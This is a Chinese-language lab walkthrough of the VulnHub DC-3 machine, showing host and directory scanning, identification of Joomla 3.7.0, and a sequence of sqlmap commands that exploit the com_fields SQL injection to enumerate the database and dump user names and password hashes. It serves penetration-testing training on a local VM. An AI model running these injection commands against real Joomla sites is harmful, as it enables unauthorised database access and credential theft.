vulnhub靶场之DC-3渗透教程（Joomla CMS）

0x01靶机概述

靶机基本信息：

靶机下载链接	https://download.vulnhub.com/dc/DC-3-2.zip
作者	DCAU
发布日期	2020年4月25日
难度	中等

0x02靶场环境搭建

下载完成后，里面有一个ova的文件，直接导入到VirtualBox当中，如下图

设置一下网卡模式，我这里用的是仅主机模式

之后直接启动就可以了

0x03主机发现

arp-scan -l

直接上nmap扫描

nmap-sV -T4 -n 192.168.56.107

经过nmap扫描发现靶机只开放一个80端口，直接访问，如下图

0x04靶场渗透过程

直接上dirb扫描目录试试，如下图所示

dirb http://192.168.56.107/

扫描到一个administrator的登录页面，发现是一个Joomla的cms，那么我们可以用Joomla扫描器来扫描一下这cms

joomscan -url http://192.168.56.107

如果没有的话直接apt-get install joomscan安装即可

通过扫描得知Joomla的版本是3.7.0

我们可以在kali中搜索这个版本的exp，发现有一个注入的，直接查看试一试

locate 42033.txt    #定位文件位置
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt    #查看文件

发现一串sqlmap语句，直接拿来跑一下

sqlmap -u "http://192.168.56.107/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]    #跑库

该命令的参数解释如下：

-u：设置待测试的 URL。

--risk：设置测试时的风险系数，范围为 0~3。

--level：设置测试时的等级，范围为 1~5。

--random-agent：随机伪装用户代理。

--dbs：发现数据库信息。

-p：设置 GET 或 POST 参数名称，这里设置参数名称为 list[fullordering]。

跑出了一个可疑的joomladb库

那么直接下一步跑表

sqlmap -u "http://192.168.56.107/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

接着跑这个_users中的字段

sqlmap -u "http://192.168.56.107/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#_users' --columns

最后跑username和password字段信息

sqlmap -u "http://192.168.56.107/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#_users' -C username,password -dump